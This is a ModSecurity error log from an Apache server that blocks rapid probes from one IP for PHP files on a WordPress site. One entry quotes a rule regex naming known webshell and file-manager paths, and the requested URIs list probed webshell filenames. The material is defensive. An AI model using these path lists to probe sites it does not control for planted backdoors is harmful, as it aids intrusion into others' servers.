[Sun Apr 05 22:02:23.600969 2026] [:error] [pid 45409:tid 45411] [client 68.221.134.12:21463] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJrb9Ht_Oyw03gjCNgkGgAAAMA"]
[Sun Apr 05 22:02:24.088479 2026] [:error] [pid 45304:tid 45344] [client 68.221.134.12:21479] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJrcA5jnqDKKovdRkkkSgAAAEA"]
[Sun Apr 05 22:02:24.570958 2026] [:error] [pid 45305:tid 45372] [client 68.221.134.12:21381] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJrcOjDQjr7aWhjflBqzAAAAIE"]
[Sun Apr 05 22:02:25.135057 2026] [:error] [pid 30921:tid 30928] [client 68.221.134.12:21489] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJrcWFGQVn8Q0ueB24u3QAAAQU"]
[Sun Apr 05 22:02:25.647638 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:21396] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJrcbboQ9eViZ4hdnlWaQAAAAo"]
[Sun Apr 05 22:02:26.135103 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:21436] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJrcrboQ9eViZ4hdnlWagAAABU"]
[Sun Apr 05 22:02:26.616159 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:21466] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJrcg5jnqDKKovdRkkkTwAAAE0"]
[Sun Apr 05 22:02:27.108199 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:21378] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJrc7boQ9eViZ4hdnlWbAAAABQ"]
[Sun Apr 05 22:02:27.622419 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:21484] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJrc7boQ9eViZ4hdnlWbgAAAA8"]
[Sun Apr 05 22:02:28.109359 2026] [:error] [pid 45305:tid 45373] [client 68.221.134.12:21312] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJrdOjDQjr7aWhjflBq1wAAAII"]
[Sun Apr 05 22:02:28.591584 2026] [:error] [pid 30921:tid 30945] [client 68.221.134.12:21395] [client 68.221.134.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "adJrdGFGQVn8Q0ueB24u4AAAARY"]
[Sun Apr 05 22:02:29.081736 2026] [:error] [pid 30921:tid 30927] [client 68.221.134.12:21315] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adJrdWFGQVn8Q0ueB24u4gAAAQQ"]
[Sun Apr 05 22:02:29.583816 2026] [:error] [pid 45304:tid 45352] [client 68.221.134.12:21420] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adJrdQ5jnqDKKovdRkkkWQAAAEg"]
[Sun Apr 05 22:02:30.088522 2026] [:error] [pid 45305:tid 45385] [client 68.221.134.12:21417] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adJrdujDQjr7aWhjflBq2wAAAI4"]
[Sun Apr 05 22:02:30.578179 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:21418] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adJrdrboQ9eViZ4hdnlWegAAABU"]
[Sun Apr 05 22:02:31.059452 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:21316] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adJrd9Ht_Oyw03gjCNgkHQAAAMk"]
[Sun Apr 05 22:02:31.560426 2026] [:error] [pid 45303:tid 45326] [client 68.221.134.12:21446] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adJrd7boQ9eViZ4hdnlWfAAAAAk"]
[Sun Apr 05 22:02:32.054148 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:21440] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adJreLboQ9eViZ4hdnlWfwAAAAA"]
[Sun Apr 05 22:02:32.553729 2026] [:error] [pid 45303:tid 45318] [client 68.221.134.12:21488] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adJreLboQ9eViZ4hdnlWgAAAAAE"]
[Sun Apr 05 22:02:33.038818 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:21413] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adJreQ5jnqDKKovdRkkkWwAAAEE"]
[Sun Apr 05 22:02:33.542651 2026] [:error] [pid 45304:tid 45347] [client 68.221.134.12:21403] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adJreQ5jnqDKKovdRkkkXAAAAEM"]
[Sun Apr 05 22:02:34.023233 2026] [:error] [pid 30921:tid 30935] [client 68.221.134.12:21339] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adJremFGQVn8Q0ueB24u5wAAAQw"]
[Sun Apr 05 22:02:34.516913 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:21437] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adJrerboQ9eViZ4hdnlWhAAAAAM"]
[Sun Apr 05 22:02:35.000591 2026] [:error] [pid 45304:tid 45362] [client 68.221.134.12:21454] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "adJreg5jnqDKKovdRkkkXwAAAFI"]
[Sun Apr 05 22:02:35.478032 2026] [:error] [pid 30921:tid 30928] [client 68.221.134.12:21426] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "adJre2FGQVn8Q0ueB24u6AAAAQU"]
[Sun Apr 05 22:02:35.956074 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21320] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "adJre9Ht_Oyw03gjCNgkKgAAANc"]
[Sun Apr 05 22:02:36.445644 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:21399] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "adJrfNHt_Oyw03gjCNgkLAAAANU"]
[Sun Apr 05 22:02:36.926945 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21347] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adJrfNHt_Oyw03gjCNgkLgAAANQ"]
[Sun Apr 05 22:02:37.407876 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:21496] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adJrfdHt_Oyw03gjCNgkLwAAANE"]
[Sun Apr 05 22:02:37.893895 2026] [:error] [pid 45304:tid 45368] [client 68.221.134.12:21262] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adJrfQ5jnqDKKovdRkkkZgAAAFg"]
[Sun Apr 05 22:02:38.387931 2026] [:error] [pid 45304:tid 45344] [client 68.221.134.12:21457] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adJrfg5jnqDKKovdRkkkaAAAAEA"]
[Sun Apr 05 22:02:38.896451 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:21462] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adJrfg5jnqDKKovdRkkkaQAAAEE"]
[Sun Apr 05 22:02:39.406903 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:21405] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adJrf2FGQVn8Q0ueB24u7wAAAQ8"]
[Sun Apr 05 22:02:39.917850 2026] [:error] [pid 45304:tid 45359] [client 68.221.134.12:21417] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adJrfw5jnqDKKovdRkkkbAAAAE8"]
[Sun Apr 05 22:02:40.397070 2026] [:error] [pid 45304:tid 45358] [client 68.221.134.12:21368] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adJrgA5jnqDKKovdRkkkbwAAAE4"]
[Sun Apr 05 22:02:40.876797 2026] [:error] [pid 45303:tid 45318] [client 68.221.134.12:21443] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adJrgLboQ9eViZ4hdnlWkwAAAAE"]
[Sun Apr 05 22:02:41.384172 2026] [:error] [pid 45303:tid 45328] [client 68.221.134.12:21382] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adJrgbboQ9eViZ4hdnlWlAAAAAs"]
[Sun Apr 05 22:02:41.903342 2026] [:error] [pid 45305:tid 45385] [client 68.221.134.12:21338] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adJrgejDQjr7aWhjflBq4wAAAI4"]
[Sun Apr 05 22:02:42.409944 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:21348] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adJrgmFGQVn8Q0ueB24u9wAAAQg"]
[Sun Apr 05 22:02:42.948669 2026] [:error] [pid 30921:tid 30945] [client 68.221.134.12:21323] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aee.php"] [unique_id "adJrgmFGQVn8Q0ueB24u-AAAARY"]
[Sun Apr 05 22:02:43.438443 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:21383] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aee.php"] [unique_id "adJrg2FGQVn8Q0ueB24u-QAAAQc"]
[Sun Apr 05 22:02:43.923690 2026] [:error] [pid 45304:tid 45353] [client 68.221.134.12:21366] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aee.php"] [unique_id "adJrgw5jnqDKKovdRkkkegAAAEk"]
[Sun Apr 05 22:02:44.419828 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:21452] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aee.php"] [unique_id "adJrhLboQ9eViZ4hdnlWmQAAABQ"]
[Sun Apr 05 22:02:44.909064 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:21390] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adJrhLboQ9eViZ4hdnlWnAAAAA4"]
[Sun Apr 05 22:02:45.387867 2026] [:error] [pid 45303:tid 45328] [client 68.221.134.12:21427] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adJrhbboQ9eViZ4hdnlWngAAAAs"]
[Sun Apr 05 22:02:45.891491 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:21501] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adJrhbboQ9eViZ4hdnlWogAAABU"]
[Sun Apr 05 22:02:46.390650 2026] [:error] [pid 45303:tid 45333] [client 68.221.134.12:21268] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adJrhrboQ9eViZ4hdnlWpQAAABA"]
[Sun Apr 05 22:02:46.932168 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:21353] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ruabjw00.php"] [unique_id "adJrhg5jnqDKKovdRkkkfgAAAFQ"]
[Sun Apr 05 22:02:47.442769 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:21421] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ruabjw00.php"] [unique_id "adJrh-jDQjr7aWhjflBq6AAAAJc"]
[Sun Apr 05 22:02:47.978782 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:21357] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ruabjw00.php"] [unique_id "adJrhw5jnqDKKovdRkkkgwAAAFM"]
[Sun Apr 05 22:02:48.578718 2026] [:error] [pid 45304:tid 45350] [client 68.221.134.12:21330] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ruabjw00.php"] [unique_id "adJriA5jnqDKKovdRkkkhAAAAEY"]
[Sun Apr 05 22:02:49.067683 2026] [:error] [pid 45305:tid 45383] [client 68.221.134.12:21331] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4dvn1ew.php"] [unique_id "adJriejDQjr7aWhjflBq7QAAAIw"]
[Sun Apr 05 22:02:49.588921 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:21377] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4dvn1ew.php"] [unique_id "adJribboQ9eViZ4hdnlWqwAAAAM"]
[Sun Apr 05 22:02:50.099700 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21455] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4dvn1ew.php"] [unique_id "adJritHt_Oyw03gjCNgkQQAAANc"]
[Sun Apr 05 22:02:50.635912 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21322] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4dvn1ew.php"] [unique_id "adJritHt_Oyw03gjCNgkRAAAAMc"]
